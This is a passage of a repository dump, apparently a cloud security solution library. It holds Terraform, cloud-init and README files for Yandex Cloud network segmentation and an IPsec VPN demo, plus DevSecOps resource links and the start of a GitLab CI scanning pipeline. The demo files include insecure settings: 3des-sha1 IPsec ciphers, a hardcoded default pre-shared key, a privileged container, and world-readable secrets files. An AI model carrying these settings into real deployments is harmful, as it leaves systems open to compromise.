image_id = data.yandex_compute_image.img_bastion.id
type = "network-ssd"
size = 26
}
}
network_interface {
subnet_id = yandex_vpc_subnet.public-subnet.id
ip_address = "10.0.0.10"
nat = true
security_group_ids = [yandex_vpc_security_group.sg-bastion.id]
}
metadata = {
user-data = "${data.template_file.cloud_init_bastion.rendered}"
serial-port-enable = 1
}
}
resource "yandex_compute_instance" "vm-dev" {
zone = "ru-central1-a"
name = "vm-dev"
hostname = "vm-dev"
platform_id = "standard-v2"
folder_id = var.dev_folder_id
resources {
cores = 2
memory = 4
}
boot_disk {
initialize_params {
image_id = data.yandex_compute_image.vm_img.id
type = "network-ssd"
size = 26
}
}
network_interface {
subnet_id = yandex_vpc_subnet.subnet-dev.id
ip_address = "10.30.0.5"
nat = true
security_group_ids = [yandex_vpc_security_group.sg-dev.id]
}
metadata = {
user-data = "${data.template_file.cloud_init.rendered}"
serial-port-enable = 1
}
}
resource "yandex_compute_instance" "app-stage" {
zone = "ru-central1-a"
name = "app-stage"
hostname = "app-stage"
platform_id = "standard-v2"
folder_id = var.stage_folder_id
resources {
cores = 2
memory = 4
}
boot_disk {
initialize_params {
image_id = data.yandex_compute_image.vm_img.id
type = "network-ssd"
size = 26
}
}
network_interface {
subnet_id = yandex_vpc_subnet.subnet-stage.id
ip_address = "10.20.0.5"
nat = false
security_group_ids = [yandex_vpc_security_group.sg-stage.id]
}
metadata = {
user-data = "${data.template_file.cloud_init.rendered}"
serial-port-enable = 1
}
}
resource "yandex_compute_instance" "app-prod" {
zone = "ru-central1-a"
name = "app-prod"
hostname = "app-prod"
platform_id = "standard-v2"
folder_id = var.prod_folder_id
resources {
cores = 2
memory = 4
}
boot_disk {
initialize_params {
image_id = data.yandex_compute_image.vm_img.id
type = "network-ssd"
size = 26
}
}
network_interface {
subnet_id = yandex_vpc_subnet.subnet-prod.id
ip_address = "10.10.0.5"
nat = false
security_group_ids = [yandex_vpc_security_group.sg-prod.id]
}
metadata = {
user-data = "${data.template_file.cloud_init.rendered}"
serial-port-enable = 1
}
}
================================================
FILE: network-sec/segmentation/cloud-init-bastion.tpl.yaml
================================================
#cloud-config
datasource:
Ec2:
strict_id: false
ssh_pwauth: no
users:
- name: yc-user
sudo: ALL=(ALL) NOPASSWD:ALL
shell: /bin/bash
groups: wheel
ssh_authorized_keys:
- "${ssh_key}"
packages:
- awscli
package_update: true
package_reboot_if_required: true
runcmd:
- sleep 5
- aws configure set aws_access_key_id "${aws_key}"
- aws configure set aws_secret_access_key "${aws_sec}"
- aws configure set default.region ru-central1
- sleep 1
- reboot
================================================
FILE: network-sec/segmentation/cloud-init.tpl.yaml
================================================
#cloud-config
datasource:
Ec2:
strict_id: false
ssh_pwauth: no
users:
- name: yc-user
sudo: ALL=(ALL) NOPASSWD:ALL
shell: /bin/bash
groups: wheel
ssh_authorized_keys:
- "${ssh_key}"
================================================
FILE: network-sec/segmentation/output.tf
================================================
output "external_ip_address_dev" {
value = yandex_compute_instance.vm-dev.network_interface.0.nat_ip_address
}
output "external_ip_address_bastion" {
value = yandex_compute_instance.bastion.network_interface.0.nat_ip_address
}
output "internal_ip_address_ci_cd" {
value = yandex_compute_instance.vm-ci-cd.network_interface.0.ip_address
}
output "internal_ip_address_app_stage" {
value = yandex_compute_instance.app-stage.network_interface.0.ip_address
}
output "internal_ip_address_app_prod" {
value = yandex_compute_instance.app-prod.network_interface.0.ip_address
}
================================================
FILE: network-sec/segmentation/provider.tf
================================================
provider "yandex" {
token = var.token
cloud_id = var.cloud_id
folder_id = var.folder_id
}
module "sa_and_key" {
source = "./sa_and_key"
folder_id = var.folder_id
}
================================================
FILE: network-sec/segmentation/sa_and_key/sa.tf
================================================
resource "yandex_iam_service_account" "log-writer-sa" {
name = "log-writer-sa"
description = "service account to write logs to bucket"
}
resource "yandex_resourcemanager_folder_iam_binding" "s3bind" {
folder_id = "${var.folder_id}"
role = "storage.admin"
members = [
"serviceAccount:${yandex_iam_service_account.log-writer-sa.id}",
]
}
resource "yandex_iam_service_account_static_access_key" "bastion-key" {
service_account_id = yandex_iam_service_account.log-writer-sa.id
description = "static access key for object storage"
}
output "aws_key_id" {
value = "${yandex_iam_service_account_static_access_key.bastion-key.access_key}"
}
output "aws_secret" {
value = "${yandex_iam_service_account_static_access_key.bastion-key.secret_key}"
}
output "s3_writer" {
value = "${yandex_iam_service_account.log-writer-sa.id}"
}
================================================
FILE: network-sec/segmentation/sa_and_key/variables.tf
================================================
variable "folder_id" {
description = "infra folder for main resources"
default = "enter your folder id"
}
================================================
FILE: network-sec/segmentation/sa_and_key/versions.tf
================================================
terraform {
required_providers {
yandex = {
source = "yandex-cloud/yandex"
}
}
required_version = ">= 0.13"
}
================================================
FILE: network-sec/segmentation/terraform.tfvars_example
================================================
token = ""
cloud_id = ""
folder_id = ""
dev_folder_id = ""
stage_folder_id = ""
prod_folder_id = ""
================================================
FILE: network-sec/segmentation/variables.tf
================================================
variable "token" {
description = "Yandex Cloud security OAuth token"
default = "nope" #generate yours by this https://cloud.yandex.ru/docs/iam/concepts/authorization/oauth-token
}
variable "folder_id" {
description = "infra folder for main resources"
default = "enter your folder id"
}
variable "cloud_id" {
description = "Yandex Cloud ID where resources will be created"
default = "there is cloud id"
}
variable "public_key_path" {
description = "Path to ssh public key, which would be used to access workers"
default = "~/.ssh/id_rsa.pub"
}
variable "dev_folder_id" {
description = "folder for dev environment"
default = "enter your dev folder id"
}
variable "stage_folder_id" {
description = "folder for stage environment"
default = "enter your stage folder id"
}
variable "prod_folder_id" {
description = "folder for stage environment"
default = "enter your stage folder id"
}
variable "bastion_whitelist_ip" {
type = list(string)
default = ["1.1.1.1/32"]
}
================================================
FILE: network-sec/segmentation/versions.tf
================================================
terraform {
required_providers {
yandex = {
source = "yandex-cloud/yandex"
}
}
required_version = ">= 0.13"
}
================================================
FILE: network-sec/segmentation/vpc.tf
================================================
resource "yandex_vpc_network" "vpc-infra" {
name = "vpc-infra"
}
resource "yandex_vpc_route_table" "rt-inet" {
name = "rt-inet"
network_id = yandex_vpc_network.vpc-infra.id
static_route {
destination_prefix = "0.0.0.0/0"
next_hop_address = "10.0.0.5"
}
}
resource "yandex_vpc_subnet" "public-subnet" {
name = "public-subnet"
zone = "ru-central1-a"
network_id = yandex_vpc_network.vpc-infra.id
v4_cidr_blocks = ["10.0.0.0/24"]
}
resource "yandex_vpc_subnet" "tools-subnet" {
name = "tools-subnet"
zone = "ru-central1-a"
network_id = yandex_vpc_network.vpc-infra.id
v4_cidr_blocks = ["10.50.0.0/24"]
route_table_id = yandex_vpc_route_table.rt-inet.id
}
resource "yandex_vpc_subnet" "subnet-dev" {
name = "subnet-dev"
zone = "ru-central1-a"
network_id = yandex_vpc_network.vpc-infra.id
v4_cidr_blocks = ["10.30.0.0/24"]
folder_id = var.dev_folder_id
}
resource "yandex_vpc_subnet" "subnet-stage" {
name = "subnet-stage"
zone = "ru-central1-a"
network_id = yandex_vpc_network.vpc-infra.id
v4_cidr_blocks = ["10.20.0.0/24"]
route_table_id = yandex_vpc_route_table.rt-inet.id
folder_id = var.stage_folder_id
}
resource "yandex_vpc_subnet" "subnet-prod" {
name = "subnet-prod"
zone = "ru-central1-a"
network_id = yandex_vpc_network.vpc-infra.id
v4_cidr_blocks = ["10.10.0.0/24"]
folder_id = var.prod_folder_id
}
================================================
FILE: network-sec/vpn/README.md
================================================
# Terraform and Security Groups Example 1
Mock web-application environment with security groups to provide secure remote-access and isolation
## Detailed analysis in the video
[](https://www.youtube.com/watch?v=MeJ8fTS2iGU&t=854s)
## Preliminary setup
- Fill out the terraform.tfvars_example file and rename it to terraform.tfvars.
- To the file, add your values of `cloud_id`, `folder_id`, and the `token`.
- In the variables.tf file, replace the value of the `remote_whitelist_ip` variable with your own list of public IP addresses from which it is allowed to connect to the network: each address in quotes, separated by a comma, for example: `default = ["1.1.1.1/32", "2.2.2.2/32"]`.
- In the same file, change the value of the `ipsec_password` to the desired password for the test IPsec connection.
- Run `terraform init`.
- Run `terraform apply`.
================================================
FILE: network-sec/vpn/README_RU.md
================================================
# Terraform and Security Groups Example 1
Mock web-application environment with security groups to provide secure remote-access and isolation
## Подробный разбор на видео
[](https://www.youtube.com/watch?v=MeJ8fTS2iGU&t=854s)
## Предварительная настройка
Заполняем файл terraform.tfvars_example и переименовываем его в terraform.tfvars
В файл вносим свои значения cloud_id; folder_id; token;
В файле variables.tf заменяем значение переменной `remote_whitelist_ip` на собственный список публичных адресов с которых разрешено подключаться к схеме (через запятую, каждый адрес в двойных кавычках например `default = ["1.1.1.1/32", "2.2.2.2/32"]`)
В том-же файле поменяйте значение переменной ipsec_password на желаемый пароль для тестового ipsec соединения
- запускаем `terraform init`
- запускаем`terraform apply`
================================================
FILE: network-sec/vpn/SG.tf
================================================
resource "yandex_vpc_security_group" "sg-ipsec" {
name = "sg-ipsec"
description = "allows traffic in and out of tunnel and tunnel itself"
network_id = yandex_vpc_network.vpc-infra.id
ingress {
protocol = "TCP"
description = "internal_net_ssh"
v4_cidr_blocks = ["10.0.0.0/8", "192.168.0.0/24"]
port = 22
}
ingress {
protocol = "ICMP"
description = "internal_icmp"
v4_cidr_blocks = ["10.0.0.0/8", "192.168.0.0/24"]
}
ingress {
protocol = "UDP"
description = "ipsec_peer_allow_4500"
v4_cidr_blocks = formatlist("%s/32", [yandex_vpc_address.remoteaddr.external_ipv4_address.0.address])
port = 4500
}
ingress {
protocol = "UDP"
description = "ipsec_peer_allow_500"
v4_cidr_blocks = formatlist("%s/32", [yandex_vpc_address.remoteaddr.external_ipv4_address.0.address])
port = 500
}
egress {
protocol = "ANY"
description = "egress_internet"
v4_cidr_blocks = ["0.0.0.0/0"]
from_port = 0
to_port = 65535
}
}
resource "yandex_vpc_security_group" "sg-frontend" {
name = "sg-frontend"
description = "allows traffic to ngnix, and remote access from vpn"
network_id = yandex_vpc_network.vpc-infra.id
ingress {
protocol = "TCP"
description = "allow-https"
v4_cidr_blocks = ["0.0.0.0/0"]
port = 443
}
ingress {
protocol = "TCP"
description = "allow-http"
v4_cidr_blocks = ["0.0.0.0/0"]
port = 80
}
ingress {
protocol = "TCP"
description = "allow-ssh"
v4_cidr_blocks = ["192.168.0.0/24"]
port = 22
}
ingress {
protocol = "ANY"
description = "p2p"
predefined_target = "self_security_group"
}
egress {
protocol = "ANY"
description = "egress_internet"
v4_cidr_blocks = ["0.0.0.0/0"]
from_port = 0
to_port = 65535
}
}
resource "yandex_vpc_security_group" "sg-backend" {
name = "sg-backend"
description = "allows traffic backend"
network_id = yandex_vpc_network.vpc-infra.id
ingress {
protocol = "TCP"
description = "allow-mongo-frontend"
security_group_id = yandex_vpc_security_group.sg-frontend.id
port = 27017
}
ingress {
protocol = "TCP"
description = "allow-mongo-remote"
v4_cidr_blocks = ["192.168.0.0/24"]
port = 27017
}
ingress {
protocol = "TCP"
description = "allow-ssh"
v4_cidr_blocks = ["192.168.0.0/24"]
port = 22
}
ingress {
protocol = "ANY"
description = "p2p"
predefined_target = "self_security_group"
}
egress {
protocol = "ANY"
description = "egress_internet"
v4_cidr_blocks = ["0.0.0.0/0"]
from_port = 0
to_port = 65535
}
}
================================================
FILE: network-sec/vpn/backend.tf
================================================
resource "yandex_compute_instance_group" "ig-backend" {
name = "ig-backend"
service_account_id = yandex_iam_service_account.ig_sa.id
folder_id = var.folder_id
instance_template {
platform_id = "standard-v2"
resources {
cores = 4
memory = 8
}
service_account_id = yandex_iam_service_account.ig_sa.id
boot_disk {
mode = "READ_WRITE"
initialize_params {
image_id = data.yandex_compute_image.container-optimized-image.id
size = 13
}
}
secondary_disk {
mode = "READ_WRITE"
device_name = "coi-data"
initialize_params {
size = 13
type = "network-ssd"
}
}
network_interface {
subnet_ids = [yandex_vpc_subnet.backend-subnet-a.id, yandex_vpc_subnet.backend-subnet-b.id, yandex_vpc_subnet.backend-subnet-c.id]
nat=true
security_group_ids = [yandex_vpc_security_group.sg-backend.id]
}
metadata = {
docker-compose = file("docker-compose.yaml")
user-data = "${data.template_file.cloud_init.rendered}"
serial-port-enable = 1
}
}
scale_policy {
fixed_scale {
size = 3
}
}
allocation_policy {
zones = ["ru-central1-a", "ru-central1-b", "ru-central1-c"]
}
deploy_policy {
max_unavailable = 3
max_creating = 3
max_expansion = 3
max_deleting = 3
}
depends_on = [
yandex_resourcemanager_folder_iam_binding.sabind,
]
}
================================================
FILE: network-sec/vpn/cloud-init.tpl.yaml
================================================
#cloud-config
datasource:
Ec2:
strict_id: false
write_files:
- content: |
net.ipv6.conf.all.disable_ipv6=1
net.ipv6.conf.default.disable_ipv6=1
path: /etc/sysctl.d/88-disable.conf
owner: root
users:
- default
- name: yc-user
groups: wheel
shell: /bin/bash
sudo: ALL=(ALL) NOPASSWD:ALL
ssh_authorized_keys:
- "${ssh_key}"
packages:
- netplan.io
- openssh-server
package_update: true
package_reboot_if_required: true
runcmd:
- sysctl -w net.ipv6.conf.all.disable_ipv6=1
- sysctl -w net.ipv6.conf.default.disable_ipv6=1
================================================
FILE: network-sec/vpn/docker-compose.yaml
================================================
version: '3.4'
services:
app2:
container_name: mongo
image: "mongo:latest"
ports:
- "27017:27017"
restart: always
volumes:
- /home/ya-user/coi-data:/data
x-yc-disks:
- device_name: coi-data
fs_type: ext4
host_path: /home/ya-user/coi-data
================================================
FILE: network-sec/vpn/docker-declaration.yaml
================================================
spec:
containers:
- name: simple-web
image: yeasy/simple-web:latest
securityContext:
privileged: true
tty: false
stdin: false
================================================
FILE: network-sec/vpn/frontend.tf
================================================
data "yandex_compute_image" "container-optimized-image" {
family = "container-optimized-image"
}
data "template_file" "cloud_init" {
template = "${file("cloud-init.tpl.yaml")}"
vars = {
ssh_key = "${file(var.public_key_path)}"
}
}
resource "yandex_compute_instance_group" "ig-frontend" {
name = "ig-frontend"
service_account_id = yandex_iam_service_account.ig_sa.id
folder_id = var.folder_id
instance_template {
platform_id = "standard-v2"
resources {
cores = 4
memory = 8
}
service_account_id = yandex_iam_service_account.ig_sa.id
boot_disk {
mode = "READ_WRITE"
initialize_params {
image_id = data.yandex_compute_image.container-optimized-image.id
size = 13
}
}
network_interface {
subnet_ids = [yandex_vpc_subnet.frontend-subnet-a.id, yandex_vpc_subnet.frontend-subnet-b.id, yandex_vpc_subnet.frontend-subnet-c.id]
nat = true
security_group_ids = [yandex_vpc_security_group.sg-frontend.id]
}
metadata = {
docker-container-declaration = file("docker-declaration.yaml")
user-data = "${data.template_file.cloud_init.rendered}"
serial-port-enable = 1
}
}
scale_policy {
fixed_scale {
size = 3
}
}
allocation_policy {
zones = ["ru-central1-a", "ru-central1-b", "ru-central1-c"]
}
deploy_policy {
max_unavailable = 3
max_creating = 3
max_expansion = 3
max_deleting = 3
}
load_balancer {
target_group_name = "frontend-tg"
}
depends_on = [
yandex_resourcemanager_folder_iam_binding.sabind,
]
}
resource "yandex_lb_network_load_balancer" "lb-frontend" {
name = "lb-frontend"
listener {
name = "ngnix-listener"
port = 80
target_port = 80
external_address_spec {
ip_version = "ipv4"
}
}
attached_target_group {
target_group_id = yandex_compute_instance_group.ig-frontend.load_balancer.0.target_group_id
healthcheck {
name = "tcp"
tcp_options {
port = 80
}
}
}
}
================================================
FILE: network-sec/vpn/ipsec-init.tpl.yaml
================================================
#cloud-config
datasource:
Ec2:
strict_id: false
write_files:
- content: |
network:
version: 2
ethernets:
eth0:
dhcp4: true
path: /etc/netplan/eth.yaml
permissions: '0755'
- content: |
config setup
charondebug="all"
uniqueids=yes
strictcrlpolicy=no
conn remote-to-cloud
authby=secret
left=%defaultroute
leftid="${vpn_addr}"
leftsubnet=10.0.0.0/8
right="${remote_addr}"
rightsubnet=192.168.0.0/24
keyingtries=0
ikelifetime=28800
lifetime=86400
auto=start
keyexchange=ikev2
ike=3des-sha1-modp1536!
esp=3des-sha1!
forceencaps=yes
type=tunnel
path: /etc/ipsec.conf
owner: root
permissions: '0755'
- content: |
"${vpn_addr}" "${remote_addr}" : PSK ${ipsec_pass}
path: /etc/ipsec.secrets
owner: root
permissions: '0755'
runcmd:
- netplan generate /etc/netplan/eth.yaml
- netplan apply
users:
- default
- name: yc-user
groups: wheel
shell: /bin/bash
sudo: ALL=(ALL) NOPASSWD:ALL
ssh_authorized_keys:
- "${ssh_key}"
packages:
- netplan.io
- openssh-server
package_update: true
package_reboot_if_required: true
================================================
FILE: network-sec/vpn/output.tf
================================================
output "external_ip_address_remote" {
value = yandex_compute_instance.remote-vpn.network_interface.0.nat_ip_address
}
output "external_ip_address_vpn" {
value = yandex_compute_instance.cloud-vpn-gate.network_interface.0.nat_ip_address
}
================================================
FILE: network-sec/vpn/provider.tf
================================================
provider "yandex" {
token = var.token
cloud_id = var.cloud_id
folder_id = var.folder_id
}
================================================
FILE: network-sec/vpn/remote-init.tpl.yaml
================================================
#cloud-config
datasource:
Ec2:
strict_id: false
write_files:
- content: |
network:
version: 2
ethernets:
eth0:
dhcp4: true
path: /etc/netplan/eth.yaml
permissions: '0755'
- content: |
config setup
charondebug="all"
uniqueids=yes
strictcrlpolicy=no
conn remote-to-cloud
authby=secret
left=%defaultroute
leftid="${remote_addr}"
leftsubnet=192.168.0.0/24
right="${vpn_addr}"
rightsubnet=10.0.0.0/8
keyingtries=0
ikelifetime=28800
lifetime=86400
auto=start
keyexchange=ikev2
ike=3des-sha1-modp1536!
esp=3des-sha1!
forceencaps=yes
type=tunnel
path: /etc/ipsec.conf
owner: root
permissions: '0755'
- content: |
"${remote_addr}" "${vpn_addr}" : PSK ${ipsec_pass}
path: /etc/ipsec.secrets
owner: root
permissions: '0755'
runcmd:
- netplan generate /etc/netplan/eth.yaml
- netplan apply
users:
- default
- name: yc-user
groups: wheel
shell: /bin/bash
sudo: ALL=(ALL) NOPASSWD:ALL
ssh_authorized_keys:
- "${ssh_key}"
packages:
- netplan.io
- iperf3
- hping3
- openssh-server
- mongodb
package_update: true
package_reboot_if_required: true
================================================
FILE: network-sec/vpn/remote.tf
================================================
resource "yandex_vpc_network" "remote-admin" {
name = "remote-admin"
}
resource "yandex_vpc_route_table" "route-to-cloud" {
name = "route-to-cloud"
network_id = yandex_vpc_network.remote-admin.id
static_route {
destination_prefix = "10.0.0.0/8"
next_hop_address = "192.168.0.5"
}
}
resource "yandex_vpc_subnet" "remote-a" {
name = "remote-a"
zone = "ru-central1-a"
network_id = yandex_vpc_network.remote-admin.id
v4_cidr_blocks = ["192.168.0.0/24"]
}
data "yandex_compute_image" "my_vpn" {
family = "ipsec-instance-ubuntu"
}
resource "yandex_vpc_security_group" "sg-remote" {
name = "sg-remote"
description = "allows traffic in and out of tunnel and tunnel itself"
network_id = yandex_vpc_network.remote-admin.id
ingress {
protocol = "TCP"
description = "internal_net_ssh"
v4_cidr_blocks = ["10.0.0.0/8", "192.168.0.0/24"]
port = 22
}
ingress {
protocol = "ICMP"
description = "internal_icmp"
v4_cidr_blocks = ["10.0.0.0/8", "192.168.0.0/24"]
}
ingress {
protocol = "ANY"
description = "p2p"
predefined_target = "self_security_group"
}
ingress {
protocol = "UDP"
description = "ipsec_peer_allow_4500"
v4_cidr_blocks = formatlist("%s/32", [yandex_vpc_address.vpnaddr.external_ipv4_address.0.address])
port = 4500
}
ingress {
protocol = "UDP"
description = "ipsec_peer_allow_500"
v4_cidr_blocks = formatlist("%s/32", [yandex_vpc_address.vpnaddr.external_ipv4_address.0.address])
port = 500
}
ingress {
protocol = "TCP"
description = "p2p"
v4_cidr_blocks = var.remote_whitelist_ip
port = "22"
}
egress {
protocol = "ANY"
description = "egress_internet"
v4_cidr_blocks = ["0.0.0.0/0"]
from_port = 0
to_port = 65535
}
}
data "template_file" "remote_init" {
template = "${file("remote-init.tpl.yaml")}"
vars = {
ssh_key = "${file(var.public_key_path)}"
vpn_addr = yandex_vpc_address.vpnaddr.external_ipv4_address.0.address
remote_addr = yandex_vpc_address.remoteaddr.external_ipv4_address.0.address
ipsec_pass = var.ipsec_password
}
}
resource "yandex_vpc_address" "remoteaddr" {
name = "remoteaddr"
external_ipv4_address {
zone_id = "ru-central1-a"
}
}
resource "yandex_compute_instance" "remote-vpn" {
zone = "ru-central1-a"
name = "remote-vpn"
hostname = "remote-vpn"
platform_id = "standard-v2"
resources {
cores = 4
memory = 8
}
boot_disk {
initialize_params {
image_id = data.yandex_compute_image.my_vpn.id
type = "network-ssd"
size = 26
}
}
network_interface {
subnet_id = yandex_vpc_subnet.remote-a.id
ip_address = "192.168.0.5"
nat = true
nat_ip_address = yandex_vpc_address.remoteaddr.external_ipv4_address.0.address
security_group_ids = [yandex_vpc_security_group.sg-remote.id]
}
metadata = {
user-data = "${data.template_file.remote_init.rendered}"
serial-port-enable = 1
}
}
================================================
FILE: network-sec/vpn/sa.tf
================================================
resource "yandex_iam_service_account" "ig_sa" {
name = "ig-sa"
description = "service account to manage ig"
}
resource "yandex_resourcemanager_folder_iam_binding" "sabind" {
folder_id = "${var.folder_id}"
role = "editor"
members = [
"serviceAccount:${yandex_iam_service_account.ig_sa.id}",
]
}
================================================
FILE: network-sec/vpn/terraform.tfvars.example
================================================
token = ""
cloud_id = ""
folder_id = ""
================================================
FILE: network-sec/vpn/variables.tf
================================================
variable "token" {
description = "Yandex Cloud security OAuth token"
default = "nope" #generate yours by this https://cloud.yandex.ru/docs/iam/concepts/authorization/oauth-token
}
variable "folder_id" {
description = "Yandex Cloud Folder ID where resources will be created"
default = "enter your folder id"
}
variable "cloud_id" {
description = "Yandex Cloud ID where resources will be created"
default = "there is cloud id"
}
variable "public_key_path" {
description = "Path to ssh public key, which would be used to access workers"
default = "~/.ssh/id_rsa.pub"
}
variable "remote_whitelist_ip" {
type = list(string)
default = ["1.1.1.1/32"]
}
variable "ipsec_password" {
type = string
default = "p@ssw0rd7788"
}
================================================
FILE: network-sec/vpn/versions.tf
================================================
terraform {
required_providers {
yandex = {
source = "yandex-cloud/yandex"
}
}
required_version = ">= 0.13"
}
================================================
FILE: network-sec/vpn/vpc.tf
================================================
resource "yandex_vpc_network" "vpc-infra" {
name = "vpc-infra"
}
resource "yandex_vpc_route_table" "route-to-remote" {
name = "route-to-remote"
network_id = yandex_vpc_network.vpc-infra.id
static_route {
destination_prefix = "192.168.0.0/24"
next_hop_address = "10.10.5.5"
}
}
resource "yandex_vpc_subnet" "frontend-subnet-a" {
name = "frontend-subnet-a"
zone = "ru-central1-a"
network_id = yandex_vpc_network.vpc-infra.id
v4_cidr_blocks = ["10.240.1.0/24"]
route_table_id = yandex_vpc_route_table.route-to-remote.id
}
resource "yandex_vpc_subnet" "frontend-subnet-b" {
name = "frontend-subnet-b"
zone = "ru-central1-b"
network_id = yandex_vpc_network.vpc-infra.id
v4_cidr_blocks = ["10.240.2.0/24"]
route_table_id = yandex_vpc_route_table.route-to-remote.id
}
resource "yandex_vpc_subnet" "frontend-subnet-c" {
name = "frontend-subnet-c"
zone = "ru-central1-c"
network_id = yandex_vpc_network.vpc-infra.id
v4_cidr_blocks = ["10.240.3.0/24"]
route_table_id = yandex_vpc_route_table.route-to-remote.id
}
resource "yandex_vpc_subnet" "vpn-subnet-a" {
name = "vpn-subnet-a"
zone = "ru-central1-a"
network_id = yandex_vpc_network.vpc-infra.id
v4_cidr_blocks = ["10.10.5.0/24"]
route_table_id = yandex_vpc_route_table.route-to-remote.id
}
resource "yandex_vpc_subnet" "backend-subnet-a" {
name = "backend-subnet-a"
zone = "ru-central1-a"
network_id = yandex_vpc_network.vpc-infra.id
v4_cidr_blocks = ["10.110.1.0/24"]
route_table_id = yandex_vpc_route_table.route-to-remote.id
}
resource "yandex_vpc_subnet" "backend-subnet-b" {
name = "backend-subnet-b"
zone = "ru-central1-b"
network_id = yandex_vpc_network.vpc-infra.id
v4_cidr_blocks = ["10.110.2.0/24"]
route_table_id = yandex_vpc_route_table.route-to-remote.id
}
resource "yandex_vpc_subnet" "backend-subnet-c" {
name = "backend-subnet-c"
zone = "ru-central1-c"
network_id = yandex_vpc_network.vpc-infra.id
v4_cidr_blocks = ["10.110.3.0/24"]
route_table_id = yandex_vpc_route_table.route-to-remote.id
}
================================================
FILE: network-sec/vpn/vpn.tf
================================================
data "yandex_compute_image" "my_image" {
family = "ubuntu-1804-lts"
}
data "template_file" "ipsec_init" {
template = "${file("ipsec-init.tpl.yaml")}"
vars = {
ssh_key = "${file(var.public_key_path)}"
vpn_addr = yandex_vpc_address.vpnaddr.external_ipv4_address.0.address
remote_addr = yandex_vpc_address.remoteaddr.external_ipv4_address.0.address
ipsec_pass = var.ipsec_password
}
}
resource "yandex_vpc_address" "vpnaddr" {
name = "vpnaddr"
external_ipv4_address {
zone_id = "ru-central1-a"
}
}
resource "yandex_compute_instance" "cloud-vpn-gate" {
zone = "ru-central1-a"
name = "cloud-vpn-gate"
hostname = "cloud-vpn-gate"
platform_id = "standard-v2"
resources {
cores = 4
memory = 8
}
boot_disk {
initialize_params {
image_id = data.yandex_compute_image.my_vpn.id
type = "network-ssd"
size = 13
}
}
network_interface {
subnet_id = yandex_vpc_subnet.vpn-subnet-a.id
ip_address = "10.10.5.5"
nat = true
nat_ip_address = yandex_vpc_address.vpnaddr.external_ipv4_address.0.address
security_group_ids = [yandex_vpc_security_group.sg-ipsec.id]
}
metadata = {
user-data = "${data.template_file.ipsec_init.rendered}"
serial-port-enable = 1
}
}
================================================
FILE: secure_ci_cd/devsecops-scale/README.md
================================================
# Материалы к выступлению DevSecOps
Здесь собраны материалы необходимые для погружения в тему compliance и DevSecOps
## Инструменты
- Моделирование угроз. [Threagile](https://threagile.io/)
- Контроль безопасного развертывания:
- [Checkov](https://github.com/bridgecrewio/checkov)
- [Kyverno](https://cloud.yandex.ru/marketplace/products/yc/kyverno)
- Контроль безопасноcти инфраструктуры:
- [Falco](https://falco.org/blog/intro-k8s-security-monitoring/)
- [Trivy](https://www.aquasec.com/products/trivy/)
- [Kube-bench](https://github.com/aquasecurity/kube-bench)
- [Policy reporter](https://cloud.yandex.ru/marketplace/products/yc/policy-reporter)
- [NeoCat](https://cloud.yandex.ru/marketplace/products/neoflex/neocat)
- [Мониторинг и подлкючение к SIEM](https://github.com/yandex-cloud/yc-solution-library-for-security/tree/master/auditlogs/export-auditlogs-to-ELK_main)
## PCI-DSS mapping
Правила Checkov
[Checkov_PCIDSS.pdf](https://github.com/rbm1718/devsecops/files/9558351/Checkov_PCIDSS.pdf)
Opensource инструменты
## Чеклисты по compliance
- [Соответствие 152-ФЗ шаги](https://storage.yandexcloud.net/yc-compliance/recomendations/FZ-152-RU.pdf)
- [Новые требования к закону (от 01.09.2022)](https://storage.yandexcloud.net/yc-compliance/Checklist_new_requirements_152-FZ.pdf)
- [Соответствие PCI-DSS шаги](https://storage.yandexcloud.net/yc-compliance/certificates/YC_PCI_DSS_Guide.pdf)
## Другие важные ссылки
- [Общий чеклист по безопасности облака](https://cloud.yandex.ru/docs/security/domains/checklist)
- [Cloud Security Solution Library](https://github.com/yandex-cloud/yc-solution-library-for-security)
- [Сообщество безопасности в Яндекс Облако](https://t.me/YandexCloudSecurity)
- [Курсы по безопасности](https://cloud.yandex.ru/training/infrastructure-protection)
## Выступления на тему Compliance и DevSecOps
- [Безопасное развёртывание контейнерных приложений](https://www.youtube.com/watch?v=Q4VAWr-SdMw&t=10006s)
- [Обнаружение Log4shell в CI/CD с помощью GitLab](https://www.youtube.com/watch?v=ub5QRrwXJno&list=PL1x4ET76A10Yi8ejAht9puemwRX_qmIlB&index=17)
- [DevSecOps для безопасной разработки](https://www.youtube.com/watch?v=t-iJtbHqULs&list=PL1x4ET76A10Yi8ejAht9puemwRX_qmIlB&index=18)
- [Соответвие требованиям 152-ФЗ](https://www.youtube.com/watch?v=dS9KPfIE9oQ&list=PL1x4ET76A10Yi8ejAht9puemwRX_qmIlB&index=2)
- [Безопасная обработка данных платежных карт в Yandex.Cloud](https://www.youtube.com/watch?v=UTe1P5GVGZo&list=PL1x4ET76A10Yi8ejAht9puemwRX_qmIlB&index=1)
================================================
FILE: secure_ci_cd/secure_ci_cd_with_webinar/README.md
================================================
# Обнаружение Log4shell и др. уязвимостей в CI/CD на базе Managed GitLab
Материалы к вебинару
## Ссылка на сам вебинар:
[](https://www.youtube.com/watch?v=ub5QRrwXJno)
## Ссылка на презентацию:
[PDF версия презентации](https://www.youtube.com/watch?v=ub5QRrwXJno)
## Обнаружение уязвимостей в CI/CD (Ultimate лицензия)
[Обнаружение уязвимостей в CI/CD (Ultimate лицензия)](https://github.com/yandex-cloud/yc-solution-library-for-security/tree/master/secure_ci_cd/secure_ci_cd_with_webinar/ultimate_secure_ci_cd)
## Обнаружение уязвимостей в CI/CD (Free лицензия)
[Обнаружение уязвимостей в CI/CD (Free лицензия)](https://github.com/yandex-cloud/yc-solution-library-for-security/tree/master/secure_ci_cd/secure_ci_cd_with_webinar/free_secure_ci_cd)
## Security in Gitlab instance check-list
[Security in Gitlab instance check-list](https://github.com/yandex-cloud/yc-solution-library-for-security/tree/master/secure_ci_cd/secure_ci_cd_with_webinar/gitlab_instance_sec_checklist)
================================================
FILE: secure_ci_cd/secure_ci_cd_with_webinar/free_secure_ci_cd/.gitlab-ci.yml
================================================
#Short description of steps:
#-Container scanning
#-build_docker_image
#-container_scanning_free_trivy # for trivy scan or
#-container_scanning_free_yc # for yandex cloud container scanner
#-Push to prod registry
#-SAST
#-DAST
#-deploy (deploy app to staging k8s)
#-DAST scan
#-Deploy to prod (only for merged: after approve of merge request)
include:
- template: Security/SAST.gitlab-ci.yml
- template: Security/Secret-Detection.gitlab-ci.yml
- '.push_to_prod_registry.yml' #Push to prod registry with kaniko
variables: # Choose which scanner you want
IMAGE_SCAN_ENGINE_TRIVY: "false"
IMAGE_SCAN_ENGINE_YC: "false"
#----Container scanning------------------------------------------------
